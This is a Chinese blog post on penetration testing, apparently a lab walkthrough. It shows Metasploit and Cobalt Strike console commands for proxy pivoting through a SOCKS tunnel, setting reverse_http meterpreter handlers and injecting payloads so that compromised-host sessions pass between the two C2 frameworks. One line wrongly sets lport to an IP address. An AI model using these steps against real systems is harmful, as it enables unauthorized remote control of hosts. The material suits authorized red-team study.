Cobaltstrike与MSF会话派生

Cobaltstrike与MSF会话派生

前言

一般在渗透的过程中,Get到shell之后一般来说我喜欢上线到Cobaltstrike,但是Cobaltstrike的会话是60S更新一次,有时候功能也并没有MSF完善(我的插件不够厉害哈哈),那么今天我准备记录一下如何实现Cobaltstrike与MSF的联动,并且在下面几篇文章里,我准备着重讲一下隧道技术,尤其是SSH隧道技术、SOCK4隧道技术、SOCK5隧道技术。

正文

Cobastrike搭建SockS隧道

首先Cobaltstrike获取一个会话,然后搭建SockS。

然后再view里找到Proxy Pivots,点击Tunnel查看代理设置。

打开Metasploit,设置Socks代理

msf6 > setg Proxies socks4:192.168.37.129:8265 //设置走Cobaltstrike的代理通道
Proxies => socks4:192.168.37.129:8265			
msf6 >  setg ReverseAllowProxy true				//设置允许双向通道
ReverseAllowProxy => true
msf6 > use auxiliary/scanner/ip/ipidseq  		//设置寻找空闲主机
msf6 auxiliary(scanner/ip/ipidseq) > show options
msf6 auxiliary(scanner/ip/ipidseq) > set RHOSTS 192.168.37.128-135
RHOSTS => 192.168.37.128-135
msf6 auxiliary(scanner/ip/ipidseq) > run

发现成功扫描到空闲主机:

Cobaltstrike派生会话

当Cobaltstrike获取到上线主机后,有时候需要传递会话到MSF,操作如下:

首先建立新的Foreign HTTP监听器,设置IP为MSF接收的IP,设置Port是一会儿MSF监听的端口

然后打开MSF,设置好监听器:

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.37.134
lhost => 192.168.37.134
msf6 exploit(multi/handler) > set lport 8088
lport => 8088
msf6 exploit(multi/handler) > run -j

然后打开Cobaltstrike,转发会话,方法如下,在会话栏里选择spawn,选择payload为刚才设置的MSFpayload,选择Choose后Metasploit接收到会话。

Metasploit派生会话

如果Metasploit已经获取到了一个会话,可以通过payload_inject模块进行会话派生,将会话传递到Cobaltstrike。

这里我尝试先用MSF进行流量加密,再进行会话派生,具体可参照博客://www.cnblogs.com/culin/#/c/subject/p/15119863.html。

操作如下,首先Cobaltstrike建立新Becon HTTP的监听器,设置好监听的IP和Port

然后获取到MSF的会话后,需要调用payload_inject模块,方法如下

msf6> use exploit/windows/local/payload_inject 
msf6> set payload windows/meterpreter/reverse_http  //注意payload的匹配
msf6> set session 2					//需要转发会话的SESSION
msf6> set lhost 192.168.34.129		//设置需要转发的IP
msf6> set lport 192.168.34.129 		//设置需要转发的port
msf6> run							//开始转发

可以成功看到会话就转发成功了:

此时Cobaltstrike的会话也会被加密,更加的安全一。